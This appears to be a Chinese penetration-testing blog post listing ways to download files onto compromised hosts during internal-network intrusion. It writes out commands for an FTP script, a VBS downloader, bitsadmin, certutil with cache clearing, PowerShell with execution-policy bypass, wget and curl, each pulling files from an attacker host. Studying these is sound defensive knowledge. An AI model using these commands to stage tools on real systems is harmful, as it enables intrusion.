内网渗透之文件下载

之前把关于内网的大块知识点基本都水了一遍,想起来最近听HW的朋友说有他面试有问过这个问题,我自己也想了一下,感觉答得不是很全面

今天就参考网上常见的办法,整理了一些个人了解的常见的内网渗透中的文件下载方式,欢迎师傅们补充

都是很通用的办法,没什么复杂的地方,不演示了

 

1.FTP

正常Windows平台都支持FTP

常见的FTP命令:

open <ftp服务器地址>:连接指定的FTP服务器

cd:进入指定的目录

put/send <本地文件> <远程目录>:将目标机器本地文件上传到服务器远程目录     // send和put方法用法都基本相同,但是上传速度send却要比put快很多

get <远程文件> <本地目录>:将ftp服务器上的文件下载到本地目标机器中

等等。。。。。。

 详情参考:https://blog.csdn.net/IndexMan/article/details/46387561

https://www.cnblogs.com/emilyyoucan/p/7550574.html

(FTP可以下载,自然也可以用于上传)

举个例子,可以使用CMD命令一条条敲,在CMD显示的路径下,生成ftp.txt文件,例如:

echo open 192.168.1.18 21>> ftp.txt
echo username>> ftp.txt   //用户名
echo password>> ftp.txt   //密码
echo binary >> ftp.txt     //用bin模式,通用性比ascii模式好传得快,传文本、图片、压缩文件、可执行文件都可以
echo get robots.txt >> ftp.txt

echo bye >> ftp.txt

即把

open 192.168.1.18 21

username

password

binary

get robots.txt

bye

写进我自己机器某路径下的ftp.txt中
之后在cmd中ftp -s:ftp.txt ,执行ftp.txt文件,实现对目标的robots.txt文件的下载

也可以一条条命令单独写,单独执行,不写进脚本

2.vbs

在cmd命令中执行,下面的命令,在当前目录下生成hhh.vbs脚本,执行脚本,将目标的art.php下载到本地的d:目录下重命名为myart.php

(这个生成的vbs脚本是不免杀的)

echo Set Post = CreateObject("Msxml2.XMLHTTP") >>hhh.vbs
echo Set Shell = CreateObject("Wscript.Shell") >>hhh.vbs
echo Post.Open "GET","http://192.168.1.17/art.php",0 >>hhh.vbs
echo Post.Send() >>hhh.vbs
echo Set aGet = CreateObject("ADODB.Stream") >>hhh.vbs
echo aGet.Mode = 3 >>hhh.vbs
echo aGet.Type = 1 >>hhh.vbs
echo aGet.Open() >>hhh.vbs
echo aGet.Write(Post.responseBody) >>hhh.vbs
echo aGet.SaveToFile "d:myart.php",2 >>hhh.vbs

 

3.bitsadmin

win7以上Windows系统自带功能

bitsadmin /transfer <任务名> <remote_url> <local_name>

例如:

bitsadmin /transfer n http://192.168.1.17/art.php D:1myart.php  n为任务号

bitsadmin要求服务器支持Range标头

如下载大文件,需要提高优先级的,在上面正常命令后加一条:

 bitsadmin /setpriority n foreground

4.certutil

和bitsadmin一样,也是Windows自带的功能

certutil -urlcache -split -f http://192.168.1.17/art.php D:1myart.php

问题是每次下载都有缓存

需要执行

certutil -urlcache -split -f http://192.168.1.17/art.php  delete

来清除数据缓存

参考:https://www.cnblogs.com/backlion/p/7325228.html

5.Powershell

可以利用Powershell一句话下载
例如,cmd执行:
powershell -exec bypass -c (New-Object System.Net.WebClient).DownloadFile('http://192.168.1.17/art.php','D:1myart.php')

也可以写ps1脚本

或者打开powershell利用$client

$client = new-object System.Net.WebClient

$client.DownloadFile('http://192.168.1.17/art.php','D:1myart.php')

6.wget

以上都着重介绍了Windows中常见的下载方法,而wget则是Linux中常见的下载方法之一

虽然说Windows下也可以用wget,需要下载exe文件到目标机器再执行,多此一举

在Linux中直接执行例如:wget http://192.168.1.17/art.php

更多命令参考:https://www.cnblogs.com/sx66/p/11887022.html

7.curl

又一个Linux平台的文件数据传输方法

可以加--output接文件名:

curl http://192.168.1.17/art.php --output myphp.php

更多命令参考:https://blog.csdn.net/zhujy5/article/details/88391070

8.其他

还有一些其他的下载方法,比如写各种脚本(python或者其他的)、两台主机netcat互传、文件共享、git clone、Linux下的scp、rz命令等等......不介绍了,参考网上其他师傅们的文章吧

未经允许,禁止转载

原文地址:https://www.cnblogs.com/lcxblogs/p/14372502.html